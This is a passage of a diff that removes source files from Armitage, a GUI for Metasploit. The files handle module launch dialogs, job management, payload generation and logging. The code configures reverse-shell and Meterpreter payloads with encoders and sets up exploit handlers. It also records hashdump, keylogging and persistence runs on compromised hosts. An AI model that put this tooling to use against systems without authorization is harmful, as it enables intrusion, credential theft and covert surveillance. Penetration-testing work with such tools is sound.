||||||
if (size([$targets getSelectedHosts]) > 0) {
|
|
||||||
launch_dialog("Enumerate DNS", "auxiliary", "gather/enum_dns", 1, $null, %(NS => [$targets getSelectedHosts][0]));
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
launch_dialog("Enumerate DNS", "auxiliary", "gather/enum_dns", 1, $null, %());
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
setupMenu($1, "hosts_middle", @());
|
|
||||||
separator($1);
|
|
||||||
setupMenu($1, "hosts_bottom", @());
|
|
||||||
item($1, "Clear Database", 'C', &clearDatabase);
|
|
||||||
}
|
|
||||||
|
|
||||||
# oh yay, Metasploit now normalizes OS info (so I don't have to). Except the new constants
|
|
||||||
# they use are different than the ones they have used... *sigh* time to future proof my code.
|
|
||||||
sub normalize {
|
|
||||||
if ("*Windows*" iswm $1) {
|
|
||||||
return "Windows";
|
|
||||||
}
|
|
||||||
else if ("*Mac*OS*X*" iswm $1) {
|
|
||||||
return "Mac OS X";
|
|
||||||
}
|
|
||||||
else if ("*Solaris*" iswm $1) {
|
|
||||||
return "Solaris";
|
|
||||||
}
|
|
||||||
else if ("*Cisco*" iswm $1) {
|
|
||||||
return "IOS";
|
|
||||||
}
|
|
||||||
else if ("*Printer*" iswm $1) {
|
|
||||||
return "Printer";
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
return $1;
|
|
||||||
}
|
|
||||||
}
|
|
|
@ -1,586 +0,0 @@
|
||||||
#
|
|
||||||
# code to manage some jobs ;)
|
|
||||||
#
|
|
||||||
|
|
||||||
import msf.*;
|
|
||||||
import armitage.*;
|
|
||||||
import console.*;
|
|
||||||
import table.*;
|
|
||||||
|
|
||||||
import javax.swing.*;
|
|
||||||
import javax.swing.event.*;
|
|
||||||
import javax.swing.table.*;
|
|
||||||
|
|
||||||
import java.awt.*;
|
|
||||||
import java.awt.event.*;
|
|
||||||
import ui.*;
|
|
||||||
|
|
||||||
sub manage_proxy_server {
|
|
||||||
launch_dialog("SOCKS Proxy", "auxiliary", "server/socks4a", 1);
|
|
||||||
}
|
|
||||||
|
|
||||||
sub find_job {
|
|
||||||
#
|
|
||||||
# convoluted? yes, but jobs.info kept locking up on some of my requests...
|
|
||||||
#
|
|
||||||
cmd_safe("jobs", lambda({
|
|
||||||
local('$temp $jid $jname $confirm');
|
|
||||||
|
|
||||||
foreach $temp (split("\n", $3)) {
|
|
||||||
if ([$temp trim] ismatch '.*?(\d+)\s+(.*?)') {
|
|
||||||
($jid, $jname) = matched();
|
|
||||||
|
|
||||||
if ($jname eq $name) {
|
|
||||||
[$function: $jid];
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
[$function: -1];
|
|
||||||
}, $name => $1, $function => $2));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub generatePayload {
|
|
||||||
local('$file');
|
|
||||||
$file = saveFile2();
|
|
||||||
if ($file is $null) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
thread(lambda({
|
|
||||||
local('$module $options $format $handle $data');
|
|
||||||
($module, $options, $format) = $args;
|
|
||||||
$options["Format"] = $format;
|
|
||||||
$data = call($client, "module.execute", "payload", $module, $options);
|
|
||||||
|
|
||||||
if ($data !is $null) {
|
|
||||||
$handle = openf("> $+ $file");
|
|
||||||
writeb($handle, $data["payload"]);
|
|
||||||
closef($handle);
|
|
||||||
|
|
||||||
showError("Saved $file");
|
|
||||||
}
|
|
||||||
}, $args => @_, \$file));
|
|
||||||
}
|
|
||||||
|
|
||||||
# pass the module launch to another thread please.
|
|
||||||
sub launch_service {
|
|
||||||
if ($4 eq "payload" && $format ne "multi/handler") {
|
|
||||||
generatePayload($2, $3, $format);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
local('$listener');
|
|
||||||
thread(lambda({
|
|
||||||
local('$title $module $options $type');
|
|
||||||
($title, $module, $options, $type) = $args;
|
|
||||||
_launch_service($title, $module, $options, $type, \$format, \$listener);
|
|
||||||
}, $args => @_, \$format, \$listener));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub _launch_service {
|
|
||||||
local('$c $key $value %options');
|
|
||||||
%options = copy($3);
|
|
||||||
|
|
||||||
if ('SESSION' in $3) {
|
|
||||||
$c = createDisplayTab($1, $host => sessionToHost($3['SESSION']), $file => "post");
|
|
||||||
}
|
|
||||||
else if ('RHOST' in $3) {
|
|
||||||
$c = createDisplayTab($1, $host => $3['RHOST'], $file => $4);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$c = createDisplayTab($1, $file => $4);
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($listener) {
|
|
||||||
[$c addSessionListener: $listener];
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($4 eq "payload" && $format eq "multi/handler") {
|
|
||||||
[$c addCommand: $null, "use exploit/multi/handler"];
|
|
||||||
%options['PAYLOAD'] = substr($2, 8);
|
|
||||||
%options['ExitOnSession'] = 'false';
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
[$c addCommand: $null, "use $2"];
|
|
||||||
}
|
|
||||||
|
|
||||||
[$c setOptions: %options];
|
|
||||||
|
|
||||||
if ($4 eq "exploit" || ($4 eq "payload" && $format eq "multi/handler")) {
|
|
||||||
[$c addCommand: "x", "exploit -j"];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
[$c addCommand: "x", "run -j"];
|
|
||||||
}
|
|
||||||
|
|
||||||
[$c start];
|
|
||||||
}
|
|
||||||
|
|
||||||
#
|
|
||||||
# pop up a dialog to start our attack with... fun fun fun
|
|
||||||
#
|
|
||||||
|
|
||||||
# launch_dialog("title", "type", "name", "visible", "hosts...", %options)
|
|
||||||
sub launch_dialog {
|
|
||||||
local('$info $options $6');
|
|
||||||
$info = call($mclient, "module.info", $2, $3);
|
|
||||||
$options = call($mclient, "module.options", $2, $3);
|
|
||||||
|
|
||||||
# give callers the ability to set any options before we pass things on.
|
|
||||||
if (-ishash $6) {
|
|
||||||
local('$key $value');
|
|
||||||
foreach $key => $value ($6) {
|
|
||||||
if ($key in $options) {
|
|
||||||
$options[$key]["default"] = $value;
|
|
||||||
$options[$key]["advanced"] = "0";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
dispatchEvent(lambda({
|
|
||||||
invoke(lambda(&_launch_dialog, \$info, \$options), $args);
|
|
||||||
}, \$info, \$options, $args => @_));
|
|
||||||
}
|
|
||||||
|
|
||||||
# $1 = model, $2 = exploit, $3 = selected target
|
|
||||||
sub updatePayloads {
|
|
||||||
thread(lambda({
|
|
||||||
local('$best');
|
|
||||||
$best = best_client_payload($exploit, $target);
|
|
||||||
[$model setValueForKey: "PAYLOAD", "Value", $best];
|
|
||||||
[$model setValueForKey: "LHOST", "Value", $MY_ADDRESS];
|
|
||||||
[$model setValueForKey: "LPORT", "Value", randomPort()];
|
|
||||||
[$model setValueForKey: "DisablePayloadHandler", "Value", "false"];
|
|
||||||
[$model setValueForKey: "ExitOnSession", "Value", "false"];
|
|
||||||
[$model fireListeners];
|
|
||||||
}, $model => $1, $exploit => $2, $target => $3));
|
|
||||||
}
|
|
||||||
|
|
||||||
sub _launch_dialog {
|
|
||||||
local('$dialog $north $center $center $label $textarea $scroll $model $table $default $combo $key $sorter $value $col $button $6 $5');
|
|
||||||
|
|
||||||
$dialog = dialog($1, 520, 360);
|
|
||||||
|
|
||||||
$north = [new JPanel];
|
|
||||||
[$north setLayout: [new BorderLayout]];
|
|
||||||
|
|
||||||
$label = [new JLabel: $info["name"]];
|
|
||||||
[$label setBorder: [BorderFactory createEmptyBorder: 5, 5, 5, 5]];
|
|
||||||
|
|
||||||
[$north add: $label, [BorderLayout NORTH]];
|
|
||||||
|
|
||||||
$textarea = [new JTextArea: [join(" ", split('[\\n\\s]+', $info["description"])) trim]];
|
|
||||||
[$textarea setEditable: 0];
|
|
||||||
[$textarea setOpaque: 1];
|
|
||||||
[$textarea setLineWrap: 1];
|
|
||||||
[$textarea setWrapStyleWord: 1];
|
|
||||||
[$textarea setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
|
|
||||||
$scroll = [new JScrollPane: $textarea];
|
|
||||||
[$scroll setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
|
|
||||||
|
|
||||||
[$north add: $scroll, [BorderLayout CENTER]];
|
|
||||||
|
|
||||||
$model = [new GenericTableModel: @("Option", "Value"), "Option", 128];
|
|
||||||
[$model setCellEditable: 1];
|
|
||||||
foreach $key => $value ($options) {
|
|
||||||
if ($key eq "THREADS") {
|
|
||||||
$default = "24";
|
|
||||||
}
|
|
||||||
else if ($key eq "LHOST") {
|
|
||||||
$default = $MY_ADDRESS;
|
|
||||||
}
|
|
||||||
else if ($key eq "LPORT" && $value['default'] eq '4444') {
|
|
||||||
$default = randomPort();
|
|
||||||
}
|
|
||||||
else if ($key eq "RHOSTS" && size($5) > 0) {
|
|
||||||
$default = join(", ", $5);
|
|
||||||
}
|
|
||||||
else if ($key eq "SESSION" && size($5) > 0) {
|
|
||||||
local('$host @sessions');
|
|
||||||
|
|
||||||
foreach $host ($5) {
|
|
||||||
if ($host in %hosts && 'sessions' in %hosts[$host] && size(%hosts[$host]['sessions']) > 0) {
|
|
||||||
push(@sessions, keys(%hosts[$host]['sessions'])[0]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
$default = join(", ", @sessions);
|
|
||||||
}
|
|
||||||
else if ($key eq "RHOST" && size($5) > 0) {
|
|
||||||
$default = $5[0];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$default = $value["default"];
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($2 ne "exploit" || "$key" !in @("DisablePayloadHandler", "PAYLOAD", "LHOST", "LPORT", "ExitOnSession")) {
|
|
||||||
[$model _addEntry: %(Option => $key, Value => $default, Tooltip => $value["desc"], Hide => iff($value["advanced"] eq '0' && $value["evasion"] eq '0', '0', '1'))];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#
|
|
||||||
# give user the option to configure the client-side payload... of course we'll configure it for them
|
|
||||||
# by default :P~
|
|
||||||
#
|
|
||||||
if ($2 eq "exploit") {
|
|
||||||
[$model _addEntry: %(Option => "PAYLOAD", Value => "", Tooltip => "The payload to execute on successful exploitation", Hide => "0")];
|
|
||||||
[$model _addEntry: %(Option => "DisablePayloadHandler", Value => "1", Tooltip => "Disable the handler code for the selected payload", Hide => "0")];
|
|
||||||
[$model _addEntry: %(Option => "ExitOnSession", Value => "", Tooltip => "Close this handler after a session")];
|
|
||||||
[$model _addEntry: %(Option => "LHOST", Value => "$MY_ADDRESS", Tooltip => "The listen address", Hide => "0")];
|
|
||||||
[$model _addEntry: %(Option => "LPORT", Value => "", Tooltip => "The listen port", Hide => "0")];
|
|
||||||
}
|
|
||||||
else if ($2 eq "payload" && "*windows*" iswm $3) {
|
|
||||||
[$model _addEntry: %(Option => "Template", Value => "", Tooltip => "The executable template to use", Hide => "0")];
|
|
||||||
[$model _addEntry: %(Option => "KeepTemplateWorking", Value => "", Tooltip => "Keep the executable template functional", Hide => "0")];
|
|
||||||
[$model _addEntry: %(Option => "Iterations", Value => "3", Tooltip => "The number of encoding iterations", Hide => "0")];
|
|
||||||
[$model _addEntry: %(Option => "Encoder", Value => "x86/shikata_ga_nai", Tooltip => "The name of the encoder module to use", Hide => "0")];
|
|
||||||
}
|
|
||||||
|
|
||||||
$table = [new ATable: $model];
|
|
||||||
$sorter = [new TableRowSorter: $model];
|
|
||||||
[$sorter toggleSortOrder: 0];
|
|
||||||
[$table setRowSorter: $sorter];
|
|
||||||
|
|
||||||
local('%actions');
|
|
||||||
%actions["PAYLOAD"] = lambda(&payloadHelper, $exploit => $3, \$model);
|
|
||||||
|
|
||||||
addFileListener($table, $model, %actions);
|
|
||||||
|
|
||||||
local('$TABLE_RENDERER');
|
|
||||||
$TABLE_RENDERER = tableRenderer($table, $model);
|
|
||||||
|
|
||||||
foreach $col (@("Option", "Value")) {
|
|
||||||
[[$table getColumn: $col] setCellRenderer: $TABLE_RENDERER];
|
|
||||||
}
|
|
||||||
|
|
||||||
$center = [new JScrollPane: $table];
|
|
||||||
$combo = select(sorta(split(',', "raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vba-exe,vbs,loop-vbs,asp,war,multi/handler")), "multi/handler");
|
|
||||||
$button = [new JButton: "Launch"];
|
|
||||||
|
|
||||||
# setup some default options on a output type basis.
|
|
||||||
[$combo addActionListener: lambda({
|
|
||||||
local('$sel');
|
|
||||||
$sel = [$combo getSelectedItem];
|
|
||||||
if ($sel eq "vba") {
|
|
||||||
[$model setValueForKey: "Encoder", "Value", "generic/none"];
|
|
||||||
[$model setValueForKey: "EXITFUNC", "Value", "thread"];
|
|
||||||
[$model fireListeners];
|
|
||||||
}
|
|
||||||
}, \$model, \$combo)];
|
|
||||||
|
|
||||||
local('$combobox');
|
|
||||||
if ('targets' in $info) {
|
|
||||||
$combobox = targetsCombobox($info);
|
|
||||||
[$combobox addActionListener: lambda({
|
|
||||||
updatePayloads($model, $exploit, [$combobox getSelectedItem]);
|
|
||||||
}, \$model, $exploit => $3, \$combobox)];
|
|
||||||
}
|
|
||||||
|
|
||||||
[$button addActionListener: lambda({
|
|
||||||
local('$options $host $x $best');
|
|
||||||
syncTable($table);
|
|
||||||
|
|
||||||
$options = %();
|
|
||||||
|
|
||||||
# assume we have an exploit... set the appropriate target please...
|
|
||||||
if ($combobox !is $null) {
|
|
||||||
$options["TARGET"] = split(' \=\> ', [$combobox getSelectedItem])[0];
|
|
||||||
}
|
|
||||||
|
|
||||||
for ($x = 0; $x < [$model getRowCount]; $x++) {
|
|
||||||
if ([$model getValueAt: $x, 1] ne "") {
|
|
||||||
$options[ [$model getValueAt: $x, 0] ] = [$model getValueAt: $x, 1];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!isShift($1)) {
|
|
||||||
[$dialog setVisible: 0];
|
|
||||||
}
|
|
||||||
|
|
||||||
# fix some module options...
|
|
||||||
if ($command eq "windows/manage/persistence") {
|
|
||||||
if ('REXE' in $options) {
|
|
||||||
$options['ACTION'] = 'REXE';
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
$options['ACTION'] = 'TEMPLATE';
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# it's go time buddy... time to filter some stuff...
|
|
||||||
($type, $command, $options) = filter_data("user_launch", $type, $command, $options);
|
|
||||||
|
|
||||||
if ($visible) {
|
|
||||||
if ('SESSION' in $options) {
|
|
||||||
local('@sessions $session $console');
|
|
||||||
@sessions = split(',\s+', $options['SESSION']);
|
|
||||||
foreach $session (@sessions) {
|
|
||||||
$options['SESSION'] = $session;
|
|
||||||
launch_service($title, "$type $+ / $+ $command", copy($options), $type, $format => [$combo getSelectedItem]);
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($command eq "windows/gather/smart_hashdump" || $command eq "windows/gather/hashdump") {
|
|
||||||
foreach $session (@sessions) {
|
|
||||||
$session = sessionToHost($session);
|
|
||||||
}
|
|
||||||
elog("dumped hashes on " . join(", ", @sessions));
|
|
||||||
}
|
|
||||||
else if ($command eq "windows/gather/arp_scanner") {
|
|
||||||
elog("ARP scan: " . $options['RHOSTS'] . " via " . join(", ", @sessions));
|
|
||||||
}
|
|
||||||
else if ($command eq "multi/gather/ping_sweep") {
|
|
||||||
elog("ping sweep: " . $options['RHOSTS'] . " via " . join(", ", @sessions));
|
|
||||||
}
|
|
||||||
else if ($command eq "windows/capture/keylog_recorder") {
|
|
||||||
foreach $session (@sessions) {
|
|
||||||
$session = sessionToHost($session) . "/ $+ $session";
|
|
||||||
}
|
|
||||||
elog("started logging keystrokes on " . join(", ", @sessions));
|
|
||||||
}
|
|
||||||
else if ($command eq "windows/manage/persistence") {
|
|
||||||
foreach $session (@sessions) {
|
|
||||||
$session = sessionToHost($session);
|
|
||||||
}
|
|
||||||
elog("ran persistence on " . join(", ", @sessions));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if ("*/fileformat/*" iswm $command && 'FILENAME' in $options) {
|
|
||||||
local('$listener');
|
|
||||||
$listener = {
|
|
||||||
local('$temp $file $path');
|
|
||||||
foreach $temp (split("\n", $3)) {
|
|
||||||
if ($temp ismatch '... (.*?) stored at (.*)') {
|
|
||||||
($file, $path) = matched();
|
|
||||||
downloadFile($path, saveFile2());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
if ($client is $mclient) {
|
|
||||||
$listener = $null;
|
|
||||||
}
|
|
||||||
|
|
||||||
launch_service($title, "$type $+ / $+ $command", $options, $type, $format => [$combo getSelectedItem], \$listener);
|
|
||||||
}
|
|
||||||
else if ($type eq "exploit" && "*/browser/*" iswm $command) {
|
|
||||||
local('$listener');
|
|
||||||
$listener = lambda({
|
|
||||||
local('$temp $file $path');
|
|
||||||
foreach $temp (split("\n", $3)) {
|
|
||||||
if ($temp ismatch '...\s+Local IP:\s+(http.*)') {
|
|
||||||
elog("launched $command @ " . matched()[0]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}, \$command);
|
|
||||||
|
|
||||||
if ($client is $mclient) {
|
|
||||||
$listener = $null;
|
|
||||||
}
|
|
||||||
|
|
||||||
launch_service($title, "$type $+ / $+ $command", $options, $type, $format => [$combo getSelectedItem], \$listener);
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
if ($type eq "auxiliary" && $command eq "gather/enum_dns") {
|
|
||||||
local('$domain $ns');
|
|
||||||
($domain, $ns) = values($options, @('DOMAIN', 'NS'));
|
|
||||||
if ($ns ne "") {
|
|
||||||
elog("launched DNS enum for $domain via $ns");
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
elog("launched DNS enum for $domain");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if ($type eq "auxiliary" && $command eq "server/socks4a") {
|
|
||||||
local('$host $port');
|
|
||||||
($host, $port) = values($options, @('SRVHOST', 'SRVPORT'));
|
|
||||||
elog("started SOCKS proxy server at $host $+ : $+ $port");
|
|
||||||
}
|
|
||||||
|
|
||||||
launch_service($title, "$type $+ / $+ $command", $options, $type, $format => [$combo getSelectedItem]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
call_async($client, "module.execute", $type, $command, $options);
|
|
||||||
elog("started $command");
|
|
||||||
showError("Started service");
|
|
||||||
}
|
|
||||||
}, \$dialog, \$model, $title => $1, $type => $2, $command => $3, $visible => $4, \$combo, \$table, \$combobox)];
|
|
||||||
|
|
||||||
local('$advanced');
|
|
||||||
$advanced = addAdvanced(\$model);
|
|
||||||
|
|
||||||
local('$panel');
|
|
||||||
$panel = [new JPanel];
|
|
||||||
[$panel setLayout: [new BoxLayout: $panel, [BoxLayout Y_AXIS]]];
|
|
||||||
|
|
||||||
if ($2 eq "payload") {
|
|
||||||
[$panel add: left([new JLabel: "Output: "], $combo)];
|
|
||||||
}
|
|
||||||
else if ($combobox !is $null) {
|
|
||||||
[$panel add: left([new JLabel: "Targets: "], $combobox)];
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($2 eq "exploit") {
|
|
||||||
updatePayloads($model, "$3", iff($combobox !is $null, [$combobox getSelectedItem]));
|
|
||||||
}
|
|
||||||
|
|
||||||
[$panel add: left($advanced)];
|
|
||||||
[$panel add: center($button)];
|
|
||||||
[$dialog add: $panel, [BorderLayout SOUTH]];
|
|
||||||
|
|
||||||
local('$s');
|
|
||||||
$s = [new JSplitPane: [JSplitPane VERTICAL_SPLIT], $north, $center];
|
|
||||||
[$center setPreferredSize: [new Dimension: 0, 0]];
|
|
||||||
[$north setPreferredSize: [new Dimension: 480, 87]]; # from 67...
|
|
||||||
[$s resetToPreferredSizes];
|
|
||||||
[$s setOneTouchExpandable: 1];
|
|
||||||
|
|
||||||
[$dialog add: $s, [BorderLayout CENTER]];
|
|
||||||
|
|
||||||
[$button requestFocus];
|
|
||||||
|
|
||||||
[$dialog setVisible: 1];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub jobs {
|
|
||||||
local('$jobs $jid $desc $info $data @r');
|
|
||||||
$jobs = call($client, "job.list");
|
|
||||||
foreach $jid => $desc ($jobs) {
|
|
||||||
$info = call($client, "job.info", $jid);
|
|
||||||
if ($info !is $null) {
|
|
||||||
$data = $info["datastore"];
|
|
||||||
if (!-ishash $data) { $data = %(); }
|
|
||||||
push(@r, %(Id => $jid, Name => $info['name'], Payload => $data['PAYLOAD'], Port => $data['LPORT'], Start => rtime($info['start_time']), Data => $data, URL => $info['uripath']));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return @r;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub updateJobsTable {
|
|
||||||
local('$job');
|
|
||||||
[$model clear: 8];
|
|
||||||
|
|
||||||
foreach $job (jobs()) {
|
|
||||||
[$model addEntry: $job];
|
|
||||||
}
|
|
||||||
|
|
||||||
[$model fireListeners];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub createJobsTab {
|
|
||||||
local('$table $model $refresh $kill $panel $jobsf $sorter');
|
|
||||||
|
|
||||||
$panel = [new JPanel];
|
|
||||||
[$panel setLayout: [new BorderLayout]];
|
|
||||||
|
|
||||||
$model = [new GenericTableModel: @("Id", "Name", "Payload", "Port", "URL", "Start"), "Id", 8];
|
|
||||||
|
|
||||||
$table = [new ATable: $model];
|
|
||||||
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel MULTIPLE_INTERVAL_SELECTION]];
|
|
||||||
[[$table getColumn: "Id"] setPreferredWidth: 125];
|
|
||||||
[[$table getColumn: "Port"] setPreferredWidth: 200];
|
|
||||||
[[$table getColumn: "Name"] setPreferredWidth: 1024];
|
|
||||||
[[$table getColumn: "Payload"] setPreferredWidth: 1024];
|
|
||||||
[[$table getColumn: "URL"] setPreferredWidth: 1024];
|
|
||||||
[[$table getColumn: "Start"] setPreferredWidth: 1024];
|
|
||||||
|
|
||||||
$sorter = [new TableRowSorter: $model];
|
|
||||||
[$sorter toggleSortOrder: 0];
|
|
||||||
[$table setRowSorter: $sorter];
|
|
||||||
[$sorter setComparator: 0, { return $1 <=> $2; }];
|
|
||||||
[$sorter setComparator: 3, { return $1 <=> $2; }];
|
|
||||||
|
|
||||||
$jobsf = lambda(&updateJobsTable, \$model);
|
|
||||||
thread($jobsf);
|
|
||||||
|
|
||||||
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
|
||||||
|
|
||||||
$refresh = [new JButton: "Refresh"];
|
|
||||||
[$refresh addActionListener: lambda({ thread($jobsf); }, \$jobsf)];
|
|
||||||
|
|
||||||
$kill = [new JButton: "Kill"];
|
|
||||||
[$kill addActionListener: lambda({
|
|
||||||
local('@jobs');
|
|
||||||
@jobs = [$model getSelectedValues: $table];
|
|
||||||
|
|
||||||
thread(lambda({
|
|
||||||
showError("Stopping " . size(@jobs) . " job" . iff(size(@jobs) == 1, "", "s"));
|
|
||||||
local('$jid');
|
|
||||||
foreach $jid (@jobs) {
|
|
||||||
call($client, "job.stop", $jid);
|
|
||||||
}
|
|
||||||
yield size(@jobs) * 500;
|
|
||||||
[$jobsf];
|
|
||||||
}, \@jobs, \$jobsf));
|
|
||||||
}, \$table, \$model, \$jobsf)];
|
|
||||||
|
|
||||||
[$panel add: center($refresh, $kill), [BorderLayout SOUTH]];
|
|
||||||
|
|
||||||
[$frame addTab: "Jobs", $panel, $null];
|
|
||||||
}
|
|
||||||
|
|
||||||
sub payloadHelper {
|
|
||||||
local('$compatible $payload $check');
|
|
||||||
|
|
||||||
$payload = {
|
|
||||||
return %(payload => $1, Name => $2, Target => $3, Channel => $4);
|
|
||||||
};
|
|
||||||
|
|
||||||
$check = [new JCheckBox: "Start a handler for this payload"];
|
|
||||||
|
|
||||||
$compatible = @();
|
|
||||||
push($compatible, [$payload: "windows/meterpreter/reverse_tcp", "Meterpreter", "Windows", "TCP/IP"]);
|
|
||||||
push($compatible, [$payload: "windows/meterpreter/reverse_tcp_dns", "Meterpreter", "Windows", "TCP/IP to hostname"]);
|
|
||||||
push($compatible, [$payload: "windows/meterpreter/reverse_ipv6_tcp", "Meterpreter", "Windows", "TCP/IPv6"]);
|
|
||||||
push($compatible, [$payload: "windows/meterpreter/reverse_http", "Meterpreter", "Windows", "HTTP"]);
|
|
||||||
push($compatible, [$payload: "windows/meterpreter/reverse_https", "Meterpreter", "Windows", "HTTPS"]);
|
|
||||||
|
|
||||||
push($compatible, [$payload: "windows/shell/reverse_tcp", "Shell", "Windows", "TCP/IP"]);
|
|
||||||
push($compatible, [$payload: "windows/shell/reverse_http", "Shell", "Windows", "HTTP"]);
|
|
||||||
push($compatible, [$payload: "windows/shell/reverse_ipv6_tcp", "Shell", "Windows", "TCP/IPv6"]);
|
|
||||||
push($compatible, [$payload: "windows/shell/reverse_ipv6_http", "Shell", "Windows", "HTTP/IPv6"]);
|
|
||||||
|
|
||||||
push($compatible, [$payload: "java/meterpreter/reverse_tcp", "Meterpreter", "Java", "TCP/IP"]);
|
|
||||||
push($compatible, [$payload: "java/meterpreter/reverse_http", "Meterpreter", "Java", "HTTP"]);
|
|
||||||
push($compatible, [$payload: "java/shell/reverse_tcp", "Shell", "Java", "TCP/IP"]);
|
|
||||||
|
|
||||||
push($compatible, [$payload: "linux/meterpreter/reverse_tcp", "Meterpreter", "Linux", "TCP/IP"]);
|
|
||||||
push($compatible, [$payload: "linux/meterpreter/reverse_ipv6_tcp", "Meterpreter", "Linux", "TCP/IPv6"]);
|
|
||||||
push($compatible, [$payload: "osx/ppc/shell/reverse_tcp", "Shell", "MacOS X (PPC)", "TCP/IP"]);
|
|
||||||
push($compatible, [$payload: "osx/x86/vforkshell/reverse_tcp", "Shell", "MacOS X (x86)", "TCP/IP"]);
|
|
||||||
push($compatible, [$payload: "generic/shell_reverse_tcp", "Shell", "UNIX (Generic)", "TCP/IP"]);
|
|
||||||
|
|
||||||
quickListDialog("Choose a payload", "Select", @("payload", "Name", "Target", "Channel"), $compatible, $width => 640, $height => 240, $after => @(left($check)), lambda({
|
|
||||||
# set the payload...
|
|
||||||
if ($1 eq "") {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
if ([$check isSelected]) {
|
|
||||||
[$model setValueForKey: "DisablePayloadHandler", "Value", "false"];
|
|
||||||
[$model setValueForKey: "HANDLER", "Value", "true"];
|
|
||||||
[$model setValueForKey: "ExitOnSession", "Value", "false"];
|
|
||||||
[$model setValueForKey: "LPORT", "Value", randomPort()];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
[$model setValueForKey: "DisablePayloadHandler", "Value", "true"];
|
|
||||||
[$model setValueForKey: "HANDLER", "Value", "false"];
|
|
||||||
[$model setValueForKey: "ExitOnSession", "Value", ""];
|
|
||||||
[$model setValueForKey: "LPORT", "Value", ""];
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($1 eq "windows/meterpreter/reverse_tcp" || $1 eq "windows/meterpreter/reverse_tcp_dns") {
|
|
||||||
[$model setValueForKey: "PAYLOAD", "Value", $1];
|
|
||||||
[$model setValueForKey: "LHOST", "Value", $MY_ADDRESS];
|
|
||||||
}
|
|
||||||
else if ($1 eq "windows/meterpreter/reverse_http" || $1 eq "windows/meterpreter/reverse_https" || $1 eq "java/meterpreter/reverse_http") {
|
|
||||||
[$model setValueForKey: "PAYLOAD", "Value", $1];
|
|
||||||
[$model setValueForKey: "LHOST", "Value", $MY_ADDRESS];
|
|
||||||
[$model setValueForKey: "LPORT", "Value", iff([$1 endsWith: "http"], "80", "443")];
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
[$model setValueForKey: "PAYLOAD", "Value", $1];
|
|
||||||
}
|
|
||||||
[$model fireListeners];
|
|
||||||
}, $callback => $4, \$model, \$check));
|
|
||||||
}
|
|
|
@ -1,76 +0,0 @@
|
||||||
#
|
|
||||||
# Logging... yeap, this is very important y0.
|
|
||||||
#
|
|
||||||
|
|
||||||
import java.io.*;
|
|
||||||
|
|
||||||
global('%logs');
|
|
||||||
%logs = ohash();
|
|
||||||
setMissPolicy(%logs, {
|
|
||||||
return [[$cortana getSharedData] getLogger: $2];
|
|
||||||
});
|
|
||||||
|
|
||||||
# logNow("file", "host|all", "text to log");
|
|
||||||
sub logNow {
|
|
||||||
if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") {
|
|
||||||
local('$today $stream');
|
|
||||||
$today = formatDate("yyMMdd");
|
|
||||||
mkdir(getFileProper(dataDirectory(), $today, $DESCRIBE, $2));
|
|
||||||
$stream = %logs[ getFileProper(dataDirectory(), $today, $DESCRIBE, $2, "$1 $+ .log") ];
|
|
||||||
[$stream println: $3];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
sub logCheck {
|
|
||||||
if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") {
|
|
||||||
local('$today');
|
|
||||||
$today = formatDate("yyMMdd");
|
|
||||||
if ($2 ne "") {
|
|
||||||
mkdir(getFileProper(dataDirectory(), $today, $DESCRIBE, $2));
|
|
||||||
[$1 writeToLog: %logs[ getFileProper(dataDirectory(), $today, $DESCRIBE, $2, "$3 $+ .log") ]];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# logFile("filename", "all|host", "type")
|
|
||||||
sub logFile {
|
|
||||||
if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") {
|
|
||||||
local('$today $handle $data $out');
|
|
||||||
$today = formatDate("yyMMdd");
|
|
||||||
if (-exists $1 && -canread $1) {
|
|
||||||
